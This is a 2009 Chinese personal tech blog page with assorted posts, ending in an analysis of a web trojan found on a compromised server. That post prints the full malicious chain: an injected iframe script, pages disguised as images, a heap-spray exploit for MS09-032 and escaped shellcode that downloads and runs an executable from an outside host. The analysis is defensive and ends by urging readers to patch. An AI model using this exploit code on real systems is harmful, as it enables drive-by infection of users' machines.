Happy技术乐园

工作压力过大，离开网络一段时间…

hqw198726@126.com(野球小子) — Wed, 30 Sep 2009 11:11:40 +0800

工作压力过大，崩溃……追求得太多，学会放弃……告别网络一段时间……对不起……等我回来……

—2009.09.13晚

By 野球小子 2009年9月11日晚嘉兴市阿拉丁溜冰场

本站程序升级中…即将完美转换到WordPress

hqw198726@126.com(野球小子) — Thu, 27 Aug 2009 21:36:56 +0800

　　通过几天的努力，技术上已经没有什么问题。其实技术方面问题本来就不大，主要是我想把这个界面皮肤也一起转移过去。可你知道我不是搞设计的本打算想付钱请人转这个皮肤的，妈得，开价都要四五百！！我比较追求完美，怎么办呢？只好硬着头皮自己搞，边学CSS边做。所以大部分的时间都花到了皮肤的转换上，还好，工夫不负有心人，成功把皮肤转换到了WordPress。关于数据的转换，想实现从PJ3到Wordpress2.8的无缝转换，还是要有点技术水平。还好，我已经全部搞定了。保留了所有的数据，包括评论、留言和会员信息等，连每篇文章的浏览次数都准确转移过去了，不然就不叫完美转换了。这几天巨忙，什么时候有空隙，抽时间出来把数据也转一下就挂上去。

=======================
2009-09-12：
正在进行数据格式的转换，好乱好烦！因为我的PJBlog是经我多方修改的，转换起来好麻烦。。。

『在线视频』卡巴斯基2010广告成龙和尤金卡巴斯基完整版

hqw198726@126.com(野球小子) — Fri, 14 Aug 2009 15:29:24 +0800

　　在上海实习的时候，当时我住在张扬路百脑汇那里，有一天百脑汇广场很热闹，我和几个哥哥走进去一看，原来是卡巴斯基2009在做宣传，牌子上挂着这个星期六尤金卡巴斯基本人将亲临现场，还要签名什么的。当时才晓得原来卡巴斯基的创始人就叫尤金卡巴斯基。因为当时好像刚好是什么节日，所以我回家了，没有见过卡巴斯基本人，遗憾～～

　　卡巴斯基2010居然请成龙来做广告了，真是意外啊！卡巴果然强大！！下面是成龙和尤金卡巴斯基的广告完整版：

QQ登陆时提示“登陆失败，文件读取出错”的完全解决方法

hqw198726@126.com(野球小子) — Tue, 04 Aug 2009 12:01:07 +0800

这两天不知道怎么回事，登陆QQ的时候经常会提示“登陆失败，文件读取出错，请稍后重试。”，但是我发现换个QQ号登陆就可以的。

　　还有一个问题，就是QQ网盘无法上传文件，拖动文件到QQ网盘，它就一动不动了，一直为0%。而且没有任何提示，无论拖动文件到网盘还是QQ文件中转站都一样。我一开始以为是服务器忙，可是等过一些时间再去上传，情况依然如此。

　　下面讲解决方法。即然一个QQ不能登陆，换一个就可以。那么我就想到把X:\QQ\Users目录下不能登陆的那个QQ号文件更名或者删除（最好不要删除），然后重新打开QQ登陆，就OK了！就这么简单！发现网上也有人遇到这个问题，还有个解决方法就是先关闭掉QQ进程，再重新登陆。这个我未测试。这样成功登陆QQ后，发现QQ网盘也可以正常打开并上传文件了。

刚刚救了一只小龙虾……图文并茂哦，快进来看看~

hqw198726@126.com(野球小子) — Sat, 01 Aug 2009 19:19:42 +0800

今天中午“北方水饺”吃的饺子，好久没去那吃了，记得大一刚进来时经常去吃的。吃过午饭骑自行车去秀州区参加一个人才招聘会，在大马路上骑的时候看到一只小龙虾在路边爬，不知道它是从哪里爬过来的，也不知道它爬了多久了。我怀疑它是不是被人买回去的路上掉下来的一只。它就沿马路最里面的边沿上一直爬(当时没有拍下来)，可是，这么大一条马路，它能爬到哪里去呢？必死无疑了。我很想救它，可是人才招聘会时间很紧，而且身上也没有塑料袋之类的东西，附近也没有店可以买。先不管它了，回来再救它，把它带回我寝室。
　　招聘会里居然没有一家公司是招计算机的！这…回来的时候我就想到了买瓶饮料然后拿个袋子，目的是把那只小龙虾放带袋子里带回去。秀州区好像没什么小超市，我去了大润发买了大瓶装的绿茶，然后要了只塑料袋。回去的路上我在想，那只龙虾还会不会在呢？都过去有近一个小时了。带着疑惑我在那条马路边沿上一直寻找，找到了!它真的还在！！看来我注定是它的救命人。这么长时间居然没有人发现？或者可能有人发现了却没有理它吧！我倒希望别人没有看到它，不然十有八九带回去煮了它。看起来它好像又爬了很长一段，因为本来是在下水道的铁盖子附近的。我俯下身子想把它放到我的袋子里面，可是它的自我保护意识很强，两只钳子一直对着我，不让我碰一下。没办法，小时候怎么抓龙虾的？拎它的胡子呗！我发现它只有一根胡子，本来应该有两根长胡子的呀，看来受伤过。我好不容易把它 “请”进我的袋子里面，然后骑车带回去。回去的路上看到一条河，我当时就想把它放生到这条河里应该更好，因为拿回去了也不知道怎么喂养它。
　　于是我骑车过去选了处河边的好地方。这个角落水很清澈，水不深又有很多草木，应该很适合它生存。可是因为早上下过暴雨，河边的土地很泥泞，过不去。不管了，大不了回去冼下鞋子。于是走到河边，把它放了下来：

把它放出来：

我想把它拎到河水里去，可是它还是那么强悍，不让我碰一下，一双钳子始终对着我。

唉……你怎么还不明白我是在救你啊？！！Now,I'm helping you!!Do you understand?!!!还是抓了它的胡子，把它放进水里。它一下子意识到了自己在水里，用擅长的尾巴弹了一下，舒服死了。

看到没？看不清的点击这里看我诺基亚N78的原拍照片，很清晰哦！或者我画一个红色的圈圈标注一下：

这下看到了吧！它快要游走了！！还好拍到了这张照片，不然我会遗憾的！！！果然，比我想的还要快，很快就游走了，看不见了~

唉…这小伙子没教养的，救了它一命，连说声谢谢都没有……也算和我有缘，希望以后它过得好！回到岸上，看我的鞋子：

我觉得有些小动物很可怜，应该多多爱护！不要伤害它们！！

　　终于回来了，学校后门口的水果店居然还开着，爽，去买西瓜去！买了半个回来，突然想去学校操场坐会，暑假了，平常热闹的学校操场都没人了……

尤其寝室里有小刀，刚才买西瓜时就没有让阿姨帮我切好，害得我现在只能吃到这么些：

　　没事做，开了手机里的音乐DJ，在操场乱跳了几下舞，没过多久天晴朗起来了，很热，出汗了，回去了，这…就是我的星期六了？？？

谈谈一个多月来使用电信3G无线上网的感受～

hqw198726@126.com(野球小子) — Sat, 01 Aug 2009 15:34:48 +0800

使用电信3G无线上网卡快两个月了，说说一些使用的感受。我的电信3G上网卡是我姐夫一个多月前给我的，他是电信局里工作的，他们有免费送的，可免费使用一年。刚好当时我学校附近的出租房内刚好没有宽带，一个人装的话又太贵。他说这3G无线上网包年1000多，一年可上800多个小时，平均每天可上3 小时不到一些。并且在浙江省内随时随地可以上网，我查了资料得知在省外也是可以上的，不过也有一定的时间限制。
　　其实是一张手机卡，然后把它插入到适配器里，就可以在笔记本上里无线上网了。因为如果你想在手机里3G上网的话，必须要用电信的天翼手机或其它支持CDMA2000的3G手机。

它是一个USB接口的设备，直接插入到笔记本上即可。

闪存盘里自带了安装程序，首先安装客户端程序：

一般选择快速安装。客户端安装完成之后还要安装数据卡驱动程序。全部安装完成之后桌面上就会出现无线宽带的图标，打开后客户端首先会搜索3G信号，搜索到之后点连接就可以了。

看一下网络状态。

　　大家最关心的应该就是网速问题了。下面谈谈我的一些使用感受。总体来说速度还是很不错的，毕竟3G在国内刚兴起嘛。我见过最快的下载速度是两百七八十Ｋ，好像有过300多Ｋ的，想不起来了。这样的速度对于大部分商务人员应该可以了，只要不下载大的东西或玩网游，浏览浏览网页什么的足够了。BT下载速度也还不错，只是我发现上TOM365时，用QVOD下载时速度很慢很慢。还有，平常QQ视频聊天或在用迅雷下载时，打开网页就会变得很慢。不过这很正常啦，带宽本来就不高的。我觉得经常要移动办公或出门在外要上网的，可以去买电信的3G体验一下，目前三大运营商的3G好像电信的速度最快。现在电信也有自己的淘宝店，买买很方便，不说了，再说下去有广告的嫌疑了呵呵～～

在线DJ，你不让我下载，我偏要下载！

hqw198726@126.com(野球小子) — Sat, 01 Aug 2009 14:14:41 +0800

小站之前有讨论过DJ手工轻松破解下载在线收费，昨天想下载一首DJ，这首DJ是我非常喜欢的，常常听，可就是没有高品质版，所以想找首320Kbps高音质的。没有找到，搜索到http://www.xxx.com/p/431.html，是192Kbps，也不错了。打开后是在线播放的，现在DJ站很多都这样，在线播放，却不让下载。因为他们知道，一旦你下载了，以后就不太会去他们网站了。
打开后，发现是Media　Player播放的，不是MP3就是Wma的啦。

还可以右击Media　Player播放器，查看属性，如下图：

地址已经出来！复制到IE打开，结果却是：

这。。说得真好听，请购买正版CD，不让下载就直说好了！不过当我查看这个页面源文件的时候，我傻掉了。这就是不让下载所采取的方法？！太没技术含量了哦！~

爆搞笑雷人的“百度知道”问答，笑死我了…

hqw198726@126.com(野球小子) — Fri, 24 Jul 2009 15:40:20 +0800

爆搞笑雷人的“百度知道”问答，笑死我了~

淘宝上卖钱的免费网络电话，我免费送给你！！

hqw198726@126.com(野球小子) — Wed, 22 Jul 2009 10:26:05 +0800

我昨天群里有人在发，是个淘宝的链接，点进去看了一下。发现卖得还真不错，虽然只卖5毛，不过卖出29件，也赚了不少信用。

　　全世界免费打，每隔十分钟断一次，断了重拨后又可以打，永久免费循环打。这是他下面写着的介绍。看到是十分钟断一次有点印象了。我看了一下它下面的截图（当然他不可能把软件的标题截给你看），

　　发现这个免费网络电话的界面似曾相识！印象中是国外的一个软件。网上搜了一下，果然被我找到了，它就是Mediaring talk！以前用过的。

　　注册地址：
https://talkmember.mediaringtalk.com/mytalk_chs/register.php

　　注册是免费的，也不需要你填写手机号什么的。注册后会自动跳转到软件的下载页面，下载下来后用刚才注册的用户名和密码登陆即可！试用了几次，发现很难拨通电话，尤其是在晚上。毕竟是免费的嘛！

解密目前最流行的MPEG2漏洞网页木马加密

hqw198726@126.com(野球小子) — Tue, 21 Jul 2009 17:32:53 +0800

前两天有客户打来电话说他们的网站打不开了．或者说打开很慢。一查才知原来我们电信的一台服务器被挂马了。具体情况不多说了，主要来分析一下这个网页木马。

　　这是一个SQL数据库的挂马，打开MSSQL，发现多张表里的多个字段被插入了一段Script脚本，指向一个JS文件z.js，具体的地址我忘了。首先下载z.js，打开，发现代码如下：
document.writeln(" <base onmouseover=\"window.status=\'完毕 \';return true\">");
document.writeln(" <SCRIPT LANGUAGE=\"JavaScript\"> ");
document.writeln("  ");
document.writeln(" <\/SCRIPT>");
function Get(){
var Then = new Date()
Then.setTime(Then.getTime() + 1000)
var cookieString = new String(document.cookie)
var cookieHeader = "Cookie1a01ab2="
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){
} else
{ document.cookie = "Cookie1a01ab2=hhhh;expires="+ Then.toGMTString()
document.writeln(" <IFRaME src=\"http://ddsshjhaiiwiieieie2222.cn/aa/a3a.htm\" width=1 height=1> <\/IFRAME>");
}
}Get();

发现有个Iframe标签，指向http://ddsshjhaiiwiieieie2222.cn/aa/a3a.htm。下载这个a2a.htm，注意不要在浏览里直接打开，会直接运行网马。打开下载下来的a3a.htm，发现代码如下：
<html>
<iframe src="360.htm" width=111 height=0 border=0></iframe>
<br>
<br>
<br>
<br>
<br>
<script type="text/javascript" src="http://js.tongji.linezing.com/1137761/tongji.js"></script><noscript><a href="http://www.linezing.com"><img src="http://img.tongji.linezing.com/1137761/tongji.gif"/></a></noscript>

</script>
<script src="http://s6.cnzz.com/stat.php?id=1408285&web_id=1408285" language="JavaScript" charset="gb2312"></script>

下面的脚本都是些统计的东西，不用管。同样我们发现有个Iframe，指向360.htm，下载下来，打开：
<html>
<body>
<div id="DivID">
<script src='go.jpg'></script>
<script src='go1.jpg'></script>
</body>
</html>

看到了没？链接到了两张图片go.jpg和go1.jpg，同样下载下来。第一感觉就知道那肯定不是真正的图片，虽然后缀是JPG。想想看好了，如果最终只是链接到两张正常的图片，那他还挂什么网页木马？把.jpg改成.txt，打开，go.jpg代码如下：
var pingfan=unescape;
var s=pingfan("%uE890%u034D%u0000%u0068%u0020%u6A00%uFF00%uB9D0%u0800%u0000%uF88B%u05EB%uF35E%uFFA4%uE8D0%uFFF6%uFFFF%u54E8");
s+=pingfan("%u0003%u8B00%uE8F8%u0038%u0000%u64E8%u0001%uE800%u0046%u0000%uF2E8%u0003%u8B00%uE8F8%u0022%u0000%u5BE8%u0001%uE800");
s+=pingfan("%u0030%u0000%uA0E8%u0003%u8B00%uE8F8%u000C%u0000%u78E8%u0001%uE800%u001A%u0000%u58EB%u8B53%u53DC%u406A%u0068%u0010");
s+=pingfan("%u5700%uC8E8%u0002%uE800%u00FA%u0000%uC358%u8B53%u53DC%u206A%u0068%u0010%u5700%uB0E8%u0002%uE800%u00E2%u0000%uC358");
s+=pingfan("%uE857%u0453%u0000%uF88B%uC933%u3349%uB0C0%uFCC3%uAEF2%u478D%u5FFF%u5BC3%uC63E%uB807%u893E%u015F%u3E66%u47C7%uFF05");
s+=pingfan("%uC3E0%uACE9%u0004%u5B00%uEC81%u0114%u0000%uD48B%uC73E%u6302%u646D%u3E20%u42C7%u2F04%u2063%u3E22");
s+=pingfan("%u42C7%u6308%u646D%u3E20%u42C7%u2F0C%u2063%u8322%u10C2%uC033%u5050%u0468%u0001%u5200%u5053%uC8E8%u0003");
s+=pingfan("%uE800%u0072%u0000%uFC8B%uC78B%uC083%u3E08%u188A%uDB84%u0374%uEB40%u66F6%uC73E%u2200%u3322%u3ED2%u5088");
s+=pingfan("%u8302%u54EC%uC033%uDB33%uCC8B%uF883%u7D54%u3E09%u1C89%u8308%u04C0%uF2EB%uCC8B%uD98B%uC383%u3310%u3EC0");
s+=pingfan("%u43C7%u012C%u0000%u5100%u5053%u5050%u5050%u5750%uE850%u033B%u0000%u19E8%u0000%u6400%u04A1%u0000%u8D00");
s+=pingfan("%u60A0%uFFFF%uE8FF%u0339%u0000%uDB33%u5353%u5353%uD0FF%u3880%u74E9%u8005%uE838%u0F75%u7881%u9005%u4190");
s+=pingfan("%u7490%u5506%uEC8B%u408D%uFF05%uE8E0%uFF17%uFFFF%uE8C3%uFF11%uFFFF%u11B8%u0401%uC280%u000C%u04E8%uFFFF");
s+=pingfan("%u33FF%u50C0%uE854%u0054%u0000%uE850%u028B%u0000%uD0FF%u8036%u243C%u7700%uE80A%u0241%u0000%uFF33%uFF57");
s+=pingfan("%uE8D0%u01FB%u0000%uFF68%u0000%uFF00%uE8D0%uFED1%uFFFF%u5753%u3356%u50C0%uE854%u001E%u0000%uE850%u0255");
s+=pingfan("%u0000%uD0FF%u8036%u243C%u7700%uE80A%u020B%u0000%uFF33%uFF57%u58D0%u5F5E%uC35B%u02EB%uC358%uF9E8%uFFFF");
s+=pingfan("%u56FF%u8357%u08EC%uFC8B%u086A%u3E57%u77FF%uE814%u025D%u0000%uD0FF%uFC8B%u6168%u656D%u6800%u4549%u7246");
s+=pingfan("%uF48B%u08B9%u0000%uF300%u75A6%u6A2F%u3E00%u74FF%u2024%u24E8%u0002%uFF00%u8BD0%uE8F8%u01CB%u0000%uD0FF");
s+=pingfan("%uF83B%u0874%u8B36%u2444%u3E20%u00FF%uFF3E%u2474%uE81C%u01EF%u0000%uD0FF%uC483%u5F10%uB85E%u0001%u0000");
s+=pingfan("%u68C3%u6E6F%u0000%u7568%u6C72%uEB6D%u8D15%u2444%u5004%u0BE8%uFFFE%u50FF%u4AE8%u0002%uE900%uFEE0%uFFFF");
s+=pingfan("%uE6E8%uFFFF%u83FF%u08C4%u6AC3%u686C%u746E%u6C64%u15EB%u448D%u0424%uE850%uFDE4%uFFFF%uE850%u0223%u0000");
s+=pingfan("%uB9E9%uFFFE%uE8FF%uFFE6%uFFFF%uC483%uC308%u3368%u0032%u6800%u7375%u7265%u15EB%u448D%u0424%uE850%uFDBA");
s+=pingfan("%uFFFF%uE850%u01F9%u0000%u8FE9%uFFFE%uE8FF%uFFE6%uFFFF%uC483%uC308%u6368%u7776%u6800%u6873%u6F64%u15EB");
s+=pingfan("%u448D%u0424%uE850%uFD90%uFFFF%uE850%u01CF%u0000%u65E9%uFFFE%uE8FF%uFFE6%uFFFF%uC483%uC308%u7668%u7867");
s+=pingfan("%uEB00%u8D15%u2444%u5004%u6BE8%uFFFD%u50FF%uAAE8%u0001%uE900%uFE40%uFFFF%uE6E8%uFFFF%u83FF%u04C4%uE8C3");
s+=pingfan("%u01AB%u0000%u1B68%u46C6%u5079%uC6E8%u0001%u8300%u08C4%uE8C3%u0197%u0000%uEC68%u0397%u500C%uB2E8%u0001");
s+=pingfan("%u8300%u08C4%uE8C3%u0183%u0000%uAA68%u0DFC%u507C%u9EE8%u0001%u8300%u08C4%uE8C3%u016F%u0000%uED68%uEF56");
s+=pingfan("%u5036%u8AE8%u0001%u8300%u08C4%uE8C3%u015B%u0000%uF068%u048A%u505F%u76E8%u0001%u8300%u08C4%uE8C3%uFEF7");
s+=pingfan("%uFFFF%u7868%uDB68%u501C%u62E8%u0001%u8300%u08C4%uE8C3%u0133%u0000%uEF68%uE0CE%u5060%u4EE8%u0001%u8300");
s+=pingfan("%u08C4%uE8C3%u011F%u0000%uB068%u2D49%u50DB%u3AE8%u0001%u8300%u08C4%uE8C3%uFF36%uFFFF%uAB68%u9B5E%u501E");
s+=pingfan("%u26E8%u0001%u8300%u08C4%uE8C3%uFEA7%uFFFF%u5968%u8197%u5002%u12E8%u0001%u8300%u08C4%uE8C3%u00E3%u0000");
s+=pingfan("%u7E68%uE2D8%u5073%uFEE8%u0000%u8300%u08C4%uE8C3%u00CF%u0000%u9E68%uBBF9%u5035%uEAE8%u0000%u8300%u08C4");
s+=pingfan("%uE8C3%uFE92%uFFFF%u5768%uB5A0%u50BB%uD6E8%u0000%u8300%u08C4%uE8C3%uFE7E%uFFFF%u1A68%u1E7A%u5002%uC2E8%u0000");
s+=pingfan("%u8300%u08C4%uE8C3%uFE6A%uFFFF%uE068%u305B%u5094%uAEE8%u0000%u8300%u08C4%uE8C3%uFE56%uFFFF%u9768%uE2C9");
s+=pingfan("%u50A3%u9AE8%u0000%u8300%u08C4%uE8C3%uFE42%uFFFF%u6868%uC524%u50B3%u86E8%u0000%u8300%u08C4%uE8C3%u0057");
s+=pingfan("%u0000%u7268%uB3FE%u5016%u72E8%u0000%u8300%u08C4%uE8C3%uFE44%uFFFF%u13EB%u656A%uE850%uFBE0%uFFFF%uE850");
s+=pingfan("%uFEAB%uFFFF%uB5E9%uFFFC%uE8FF%uFFE8%uFFFF%uE8C3%uFDA9%uFFFF%u4F68%u4FEF%u5005%u3EE8%u0000%u8300%u08C4");
s+=pingfan("%uE8C3%u000F%u0000%u8E68%u0E4E%u50EC%u2AE8%u0000%u8300%u08C4%u33C3%u64C0%u408B%u8530%u78C0%u3E10%u408B");
s+=pingfan("%u3E0C%u708B%uAD1C%u8B3E%u0840%uEBC3%u3E0B%u408B%u8334%u7CC0%u8B3E%u3C40%u60C3%u8B36%u246C%u3624%u458B");
s+=pingfan("%u363C%u548B%u7828%uD503%u8B3E%u184A%u8B3E%u205A%uDD03%u3BE3%u3E49%u348B%u038B%u33F5%u33FF%uFCC0%u84AC");
s+=pingfan("%u74C0%uC107%u0DCF%uF803%uF4EB%u3B36%u247C%u7528%u3EDF%u5A8B%u0324%u66DD%u8B3E%u4B0C%u8B3E%u1C5A%uDD03");
s+=pingfan("%u8B3E%u8B04%uC503%u8936%u2444%u611C%uE8C3%uFB4F%uFFFF");
var u=pingfan("%u7468%u7074%u2f3a%u6d2f%u6965%u7272%u3032%u632e%u6d6f%u732f%u6376%u6f68%u7473%u652e%u6578%u0000");

go1.jpg代码如下：
var headersize=20;
bbbbs = 'clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';
seee = '9090';
saaa ='%u9';
skkk ='090';
ha='%u';
sxxx = saaa + skkk + ha + seee;
var dashell=s+u;
var omybro=unescape(sxxx);
var slackspace=headersize+dashell.length;
while(omybro.length<slackspace) omybro+=omybro;
bZmybr=omybro.substring(0,slackspace);
wjsccccccg=omybro.substring(0,omybro.length-slackspace);
while(wjsccccccg.length+slackspace<0x30000) wjsccccccg=wjsccccccg+wjsccccccg+bZmybr;
memory=new Array();
for(x=0;x<300;x++) memory[x]=wjsccccccg+dashell;
var myObject=document.createElement('object');
DivID.appendChild(myObject);
myObject.width='1';
myObject.height='1';
myObject.data='./logo.gif';
myObject.classid=bbbbs;

搜索“0955AC62-BF2E-4CBA-A2B9-A63F772D46CF“得知这是微软最新的Microsoft DirectShow MPEG2TuneRequest组件栈溢出漏洞(MS09-032)，受影响系统：
Microsoft Windows XP SP3
Microsoft Windows XP SP2
Microsoft Windows Server 2003 SP2
Microsoft Windows Server 2003 SP1
DirectShow用于在Windows操作系统中处理流媒体。

DirectShow（msvidctl.dll）的BDATuningModelMPEG2TuneRequest视频组件中存在栈溢出漏洞。此漏洞可以通过IE浏览器远程利用，如果用户受骗访问了恶意网页并打开读取MPEG-2文件的话，就可能触发这个溢出，导致执行任意指令。目前这个漏洞正在被广泛的用于挂马攻击。

Microsoft已经为此发布了一个安全公告（MS09-032）以及相应补丁:
MS09-032：Cumulative Security Update of ActiveX Kill Bits (973346)
链接：http://www.microsoft.com/technet/security/bulletin/MS09-032.mspx?pf=true

Ok，了解了情况后我们开始解密这个最新的网马，主要的代码是在go.jpg中，很明显，第一层是escape编码，我们替换掉多余的提取escape后的代码：
%uE890%u034D%u0000%u0068%u0020%u6A00%uFF00%uB9D0%u0800%u0000%uF88B%u05EB%uF35E%uFFA4%uE8D0%uFFF6%uFFFF%u54E8
%u0003%u8B00%uE8F8%u0038%u0000%u64E8%u0001%uE800%u0046%u0000%uF2E8%u0003%u8B00%uE8F8%u0022%u0000%u5BE8%u0001%uE800
%u0030%u0000%uA0E8%u0003%u8B00%uE8F8%u000C%u0000%u78E8%u0001%uE800%u001A%u0000%u58EB%u8B53%u53DC%u406A%u0068%u0010
%u5700%uC8E8%u0002%uE800%u00FA%u0000%uC358%u8B53%u53DC%u206A%u0068%u0010%u5700%uB0E8%u0002%uE800%u00E2%u0000%uC358
%uE857%u0453%u0000%uF88B%uC933%u3349%uB0C0%uFCC3%uAEF2%u478D%u5FFF%u5BC3%uC63E%uB807%u893E%u015F%u3E66%u47C7%uFF05
%uC3E0%uACE9%u0004%u5B00%uEC81%u0114%u0000%uD48B%uC73E%u6302%u646D%u3E20%u42C7%u2F04%u2063%u3E22
%u42C7%u6308%u646D%u3E20%u42C7%u2F0C%u2063%u8322%u10C2%uC033%u5050%u0468%u0001%u5200%u5053%uC8E8%u0003
%uE800%u0072%u0000%uFC8B%uC78B%uC083%u3E08%u188A%uDB84%u0374%uEB40%u66F6%uC73E%u2200%u3322%u3ED2%u5088
%u8302%u54EC%uC033%uDB33%uCC8B%uF883%u7D54%u3E09%u1C89%u8308%u04C0%uF2EB%uCC8B%uD98B%uC383%u3310%u3EC0
%u43C7%u012C%u0000%u5100%u5053%u5050%u5050%u5750%uE850%u033B%u0000%u19E8%u0000%u6400%u04A1%u0000%u8D00
%u60A0%uFFFF%uE8FF%u0339%u0000%uDB33%u5353%u5353%uD0FF%u3880%u74E9%u8005%uE838%u0F75%u7881%u9005%u4190
%u7490%u5506%uEC8B%u408D%uFF05%uE8E0%uFF17%uFFFF%uE8C3%uFF11%uFFFF%u11B8%u0401%uC280%u000C%u04E8%uFFFF
%u33FF%u50C0%uE854%u0054%u0000%uE850%u028B%u0000%uD0FF%u8036%u243C%u7700%uE80A%u0241%u0000%uFF33%uFF57
%uE8D0%u01FB%u0000%uFF68%u0000%uFF00%uE8D0%uFED1%uFFFF%u5753%u3356%u50C0%uE854%u001E%u0000%uE850%u0255
%u0000%uD0FF%u8036%u243C%u7700%uE80A%u020B%u0000%uFF33%uFF57%u58D0%u5F5E%uC35B%u02EB%uC358%uF9E8%uFFFF
%u56FF%u8357%u08EC%uFC8B%u086A%u3E57%u77FF%uE814%u025D%u0000%uD0FF%uFC8B%u6168%u656D%u6800%u4549%u7246
%uF48B%u08B9%u0000%uF300%u75A6%u6A2F%u3E00%u74FF%u2024%u24E8%u0002%uFF00%u8BD0%uE8F8%u01CB%u0000%uD0FF
%uF83B%u0874%u8B36%u2444%u3E20%u00FF%uFF3E%u2474%uE81C%u01EF%u0000%uD0FF%uC483%u5F10%uB85E%u0001%u0000
%u68C3%u6E6F%u0000%u7568%u6C72%uEB6D%u8D15%u2444%u5004%u0BE8%uFFFE%u50FF%u4AE8%u0002%uE900%uFEE0%uFFFF
%uE6E8%uFFFF%u83FF%u08C4%u6AC3%u686C%u746E%u6C64%u15EB%u448D%u0424%uE850%uFDE4%uFFFF%uE850%u0223%u0000
%uB9E9%uFFFE%uE8FF%uFFE6%uFFFF%uC483%uC308%u3368%u0032%u6800%u7375%u7265%u15EB%u448D%u0424%uE850%uFDBA
%uFFFF%uE850%u01F9%u0000%u8FE9%uFFFE%uE8FF%uFFE6%uFFFF%uC483%uC308%u6368%u7776%u6800%u6873%u6F64%u15EB
%u448D%u0424%uE850%uFD90%uFFFF%uE850%u01CF%u0000%u65E9%uFFFE%uE8FF%uFFE6%uFFFF%uC483%uC308%u7668%u7867
%uEB00%u8D15%u2444%u5004%u6BE8%uFFFD%u50FF%uAAE8%u0001%uE900%uFE40%uFFFF%uE6E8%uFFFF%u83FF%u04C4%uE8C3
%u01AB%u0000%u1B68%u46C6%u5079%uC6E8%u0001%u8300%u08C4%uE8C3%u0197%u0000%uEC68%u0397%u500C%uB2E8%u0001
%u8300%u08C4%uE8C3%u0183%u0000%uAA68%u0DFC%u507C%u9EE8%u0001%u8300%u08C4%uE8C3%u016F%u0000%uED68%uEF56
%u5036%u8AE8%u0001%u8300%u08C4%uE8C3%u015B%u0000%uF068%u048A%u505F%u76E8%u0001%u8300%u08C4%uE8C3%uFEF7
%uFFFF%u7868%uDB68%u501C%u62E8%u0001%u8300%u08C4%uE8C3%u0133%u0000%uEF68%uE0CE%u5060%u4EE8%u0001%u8300
%u08C4%uE8C3%u011F%u0000%uB068%u2D49%u50DB%u3AE8%u0001%u8300%u08C4%uE8C3%uFF36%uFFFF%uAB68%u9B5E%u501E
%u26E8%u0001%u8300%u08C4%uE8C3%uFEA7%uFFFF%u5968%u8197%u5002%u12E8%u0001%u8300%u08C4%uE8C3%u00E3%u0000
%u7E68%uE2D8%u5073%uFEE8%u0000%u8300%u08C4%uE8C3%u00CF%u0000%u9E68%uBBF9%u5035%uEAE8%u0000%u8300%u08C4
%uE8C3%uFE92%uFFFF%u5768%uB5A0%u50BB%uD6E8%u0000%u8300%u08C4%uE8C3%uFE7E%uFFFF%u1A68%u1E7A%u5002%uC2E8%u0000
%u8300%u08C4%uE8C3%uFE6A%uFFFF%uE068%u305B%u5094%uAEE8%u0000%u8300%u08C4%uE8C3%uFE56%uFFFF%u9768%uE2C9
%u50A3%u9AE8%u0000%u8300%u08C4%uE8C3%uFE42%uFFFF%u6868%uC524%u50B3%u86E8%u0000%u8300%u08C4%uE8C3%u0057
%u0000%u7268%uB3FE%u5016%u72E8%u0000%u8300%u08C4%uE8C3%uFE44%uFFFF%u13EB%u656A%uE850%uFBE0%uFFFF%uE850
%uFEAB%uFFFF%uB5E9%uFFFC%uE8FF%uFFE8%uFFFF%uE8C3%uFDA9%uFFFF%u4F68%u4FEF%u5005%u3EE8%u0000%u8300%u08C4
%uE8C3%u000F%u0000%u8E68%u0E4E%u50EC%u2AE8%u0000%u8300%u08C4%u33C3%u64C0%u408B%u8530%u78C0%u3E10%u408B
%u3E0C%u708B%uAD1C%u8B3E%u0840%uEBC3%u3E0B%u408B%u8334%u7CC0%u8B3E%u3C40%u60C3%u8B36%u246C%u3624%u458B
%u363C%u548B%u7828%uD503%u8B3E%u184A%u8B3E%u205A%uDD03%u3BE3%u3E49%u348B%u038B%u33F5%u33FF%uFCC0%u84AC
%u74C0%uC107%u0DCF%uF803%uF4EB%u3B36%u247C%u7528%u3EDF%u5A8B%u0324%u66DD%u8B3E%u4B0C%u8B3E%u1C5A%uDD03
%u8B3E%u8B04%uC503%u8936%u2444%u611C%uE8C3%uFB4F%uFFFF%u7468%u7074%u2f3a%u6d2f%u6965%u7272%u3032%u632e%u6d6f%u732f%u6376%u6f68%u7473%u652e%u6578%u0000

刚才说了，第一层是escape编码，所以我们先解码，如下图：

解码之后，发现还是乱七八糟的一堆，这是什么加密呢？看得出是些十六进制。把解出来的代码进行enumXOR，enumXOR的功能即对十六进制的数据进行枚举异或，如下图：

　　OK了，看到没有？！网马的最终地址就是：http://meirr20.com/svchost.exe。也不是很难吧，MPEG2漏洞网马解密完成。最后提醒一下，还没打补丁的赶紧打上，这个漏洞引发的网页挂马现在非常流行。